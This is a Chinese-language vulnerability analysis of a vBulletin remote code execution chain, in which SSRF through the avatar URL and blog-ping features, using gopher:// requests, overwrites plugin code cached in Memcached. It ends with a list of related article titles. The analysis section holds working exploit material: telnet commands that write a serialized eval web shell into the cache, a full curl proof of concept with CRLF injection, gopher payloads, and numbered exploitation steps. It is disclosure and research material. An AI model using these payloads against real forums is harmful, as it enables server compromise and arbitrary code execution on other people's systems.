vBulletin rce 0day分析
作者:Ambulong(安恆安全研究院)
0x00 前言
fd上有人公開了vBulletin
的0day POC,但沒有提供漏洞分析過程。 vBulletin
是國外領先的論壇程式,國內一般稱其為VBB
,基於PHP+mySQL
開發.vBulletin
是商業軟體,需付費使用。
vBulletin
允許透過URL遠端上傳檔案,但對URL並沒有作嚴格的過濾,導致SSRF
漏洞的產生。加上許多vBulleti
n網站同時將vBulletin
的Memcached
與WEB伺服器
安裝在一起,結合SSRF
將導致漏洞變為命令執行。
0x01 漏洞分析
首先講下vBulletin
的plugin(hook
)執行方式,vBulletin將plugin的資訊(包括程式碼)儲存在資料庫,程式執行時臨時從資料庫讀取程式碼執行,可以理解成將include 'pluginname.php'
變成eval(getCodeFromDB('pluginname'))
。在Memcache
開啟的情況下,vBulletin
會將plugin
的程式碼快取在Memcached
裡來增加讀取速度。
我們都知道訪問Memcached
是不需要密碼的,這樣一來如果Memcached
的訪問埠暴露在公網,我們就修改vBulletin
在Memcached
中的plugin
程式碼為惡意程式碼,這導致的後果將不堪設想。
vBulletin
官網上的建議是Memcached
不要和vBulletin
安裝在同臺伺服器,但許多站長對此還是視而不見,或者僅透過將防火牆設定將Memcached
埠對外禁止訪問就以為解決了問題。
不幸的是,vBulletin
中存在SSRF
漏洞,攻擊者可以將存在漏洞的檔案當作代理來向伺服器上的Memcached
發起本地請求。
Memcached未授權訪問
我們首先看下Memcached
的未授權訪問是如何導致vBulletin
命令執行的。
透過關鍵字查詢,發現語句vBulletinHook::set_pluginlist($vbulletin->pluginlist)
,找到set_pluginlist
的宣告在檔案./includes/class_hook.php
中,根據註釋內容:
#!php
// to call a hook:
// require_once(DIR . '/includes/class_hook.php');
// ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;
得知,plugin
的呼叫方式為($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;
,功能是獲取plugin
的程式碼並執行。
我們選用出現頻率較高的global_start
的程式碼,對應的語句是($hook = vBulletinHook::fetch_hook('global_start')) ? eval($hook) : false;
,這句話在./global.php
檔案裡,所以包含./global.php
的頁面都將包含我們的惡意程式碼。
接下來訪問Memcached
伺服器看下pluginlist
項的資料
$ telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
get pluginlist
...(序列化後的陣列)
END
quit
獲取pluginlist
的資料將返回序列化後的pluginlist
陣列。 相關程式碼在./includes/class_hook.php
類函式build_datastore
中。
#!php
$plugins = $dbobject->query_read("
SELECT plugin.*,
IF(product.productid IS NULL, 0, 1) AS foundproduct,
IF(plugin.product = 'vbulletin', 1, product.active) AS productactive
FROM " . TABLE_PREFIX . "plugin AS plugin
LEFT JOIN " . TABLE_PREFIX . "product AS product ON(product.productid = plugin.product)
WHERE plugin.active = 1
AND plugin." . "phpcode <> ''
ORDER BY plugin.executionorder ASC
");
while ($plugin = $dbobject->fetch_array($plugins))
{
if ($plugin['foundproduct'] AND !$plugin['productactive'])
{
continue;
}
else if (!empty($adminlocations["$plugin[hookname]"]))
{
$admincode["$plugin[hookname]"] .= "$plugin[phpcode]\r\n";
}
else
{
$code["$plugin[hookname]"] .= "$plugin[phpcode]\r\n";
}
}
$dbobject->free_result($plugins);
build_datastore('pluginlist', serialize($code), 1);
build_datastore('pluginlistadmin', serialize($admincode), 1);
透過程式碼可知$code
陣列的格式為$code=array('hookname'=>'phpcode')
; 我們要修改Memcached
中的pluginlist
程式碼,我們也需要將我們的程式碼放到$code
陣列內序列化後再寫入Memcached
。
#!php
$code=array('global_start'=>[email protected]($_REQUEST[\'eval\']);');
echo serialize($code)."\n".strlen(serialize($code));
輸出:
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化後的資料
59 //字串長度
接下來就是修改pluginlist
項的資料為我們的pluginlist
:
$ telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
set pluginlist 0 120 59
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";}
STORED
quit
命令修改了global_start
的程式碼,所以包含了./global.php
的頁面都將含有我們的惡意程式碼。
這時訪問http://172.16.80.156/showthread.php?eval=phpinfo();
發現我們的程式碼已經執行。
但是在大多數情況下,Memcached
是不允許外網訪問,這時就需要用到下面的SSRF
。
SSRF(Server-side Request Forgery,伺服器端請求偽造)
SSRF(Server-Side Request Forgery
:伺服器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。
via:http://wiki.wooyun.org/web:ssrf
(注:測試前先刪除上一步的pluginlist
, delete pluginlist
) vBulletin
的遠端上傳功能在vB_Upload_*
類和vB_vURL
類中都有使用到,我們以vB_Upload_Userpic
為例分析。 在檔案./includes/class_upload.php
中類vB_Upload_Userpic
->類函式process_upload()
中呼叫了類函式accept_upload()
,之後accept_upload()
呼叫了fetch_remote_filesize()
,再來呼叫了vB_vURL
類,最後到vB_vURL_cURL
類中的exec()
函式,整個過程中傳入的avatarurl
變數都未作任何過濾。
報告文件中的POC:http://seclists.org/fulldisclosure/2015/Aug/58
$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2;
bb_password=926944640049f505370a38250f22ae57' --data
'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'
按報告來理解的話,Memcached
將執行:
HEAD /
set pluginlist 0 0 96
a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();}
";}
quit
.png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close
但是在本地測試時,上面的EXP並不能使用,經抓包分析,在我們測試時連結中的%0D%0A並未能轉換成換行符。 測試程式碼: #!php $url = 'http://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST1);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); $str = curl_exec($curl); curl_close($curl); var_dump($str);
抓包結果:
最後多次測試和查閱參考資料發現,在gopher
協議下EXP
可以復現,但是vB_Upload_Userpic
只允許(http|ftp)s
開頭的連結。
參考資料: https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1
文中給出的Exploit:
gopher://localhost:11211/1%0astats%0aquit
dict://locahost:11211/stats
ldap://localhost:11211/%0astats%0aquit
然而將HTTP協議改為Gopher協議
#!php
$url = 'gopher://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit';
抓包結果:
可以看出,此時的%0D%0A轉換成換行符了。 接下來,我們需要的是一個能帶入gopher://
的SSRF
點,經過搜尋對vB_vURL
的呼叫,位置在./blog_post.php
的donotify
內,函式send_ping_notification()
。
函式send_ping_notification()
的宣告在./includes/blog_functions_post.php
,函式中呼叫的fetch_head_request()
呼叫了vB_vURL
類來發起請求,整個過程中$url變數未作過濾。 我們在前端可勾選發表部落格中的附加選項通知在這篇文章中連結的其它部落格
,來呼叫這個變數。
0x02 漏洞利用
- 註冊使用者並登入。
- 發表新文章(
http://*host*/blog_post.php?do=newblog
)。 - 加入超連結
gopher://localhost:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit
。
- 在
附加選項
中勾選通知在這篇文章中連結的其它部落格
。
發表->選擇連結->提交。
訪問
http://*host*/showthread.php?1=phpinfo();
檢視是否執行成功。
相關文章
- Thinkphp5.0.0-5.0.18RCE分析2021-06-26PHP
- Joomla 3.4.6 RCE復現及分析2021-02-03OOM
- Sunlogin RCE漏洞分析和使用2022-02-19
- WinRAR(5.21)-0day漏洞-始末分析2020-08-19
- Hacking Team系列 Flash 0Day分析2020-08-19
- Hacking Team 新 Flash 0day分析2020-08-19
- RCE2024-04-30
- RCE(Pikachu)2024-05-12
- 影響整個Java世界:log4j2日誌包中發現RCE 0day漏洞 - lunasec2021-12-10Java
- SSRF To RCE in MySQL2018-04-11MySql
- RCE_STUDY2024-03-03
- PHP FastCGI RCE Vul2015-06-08PHPAST
- rce臨時檔案上傳[RCE1]P82024-03-12
- 【最新】Chrome遠端程式碼執行0day分析報告2021-04-13Chrome
- bypass waf測試_rce2024-10-25
- [ThinkPHP]2-Rce 12024-11-09PHP
- [ThinkPHP]5-Rce 12024-11-09PHP
- Chrome再曝0day!2021-04-16Chrome
- spark未授權RCE漏洞2021-04-21Spark
- [ThinkPHP]5.0.23-Rce 12024-11-09PHP
- RCE_sample_ctf_questions(ing)2024-11-19
- 匿名黑客洩露vBulletin零日漏洞,波及全球數萬站點2019-09-25黑客
- common-collections中Java反序列化漏洞導致的RCE原理分析2020-08-19Java
- unserialize() 實戰之 vBulletin 5.x.x 遠端程式碼執行2020-08-19
- web40 無引數rce2024-08-18Web
- 0day漏洞組合拳:詳細分析一款惡意PDF樣本2018-05-21
- 分析下難得一見的ROR的RCE(CVE-2013-0156)2020-08-19
- CVE-2019-11229詳細分析 --git config可控-RCE2019-07-24Git
- 大資料Storm 之RCE實踐2018-08-10大資料ORM
- RCE-基於Pikachu的學習2024-05-04
- RCE漏洞常用的Payload總結2024-08-21
- iPhone藍色畫面0day漏洞分析:播放影片觸發核心拒絕服務2020-08-19iPhone
- 網路攝像頭登入繞過及多個RCE漏洞及資料分析報告2018-07-31
- Fedora 和 Ubuntu 曝出0day漏洞2016-12-18Ubuntu
- 思科IP電話存嚴重RCE漏洞!2020-04-17
- CISA警告駭客利用ZK Java框架RCE漏洞2023-03-01Java框架
- MajorDoMo RCE(CNVD-2024-02175)2024-05-12
- 利用第三方軟體 0day 漏洞載入和執行的木馬分析2020-08-19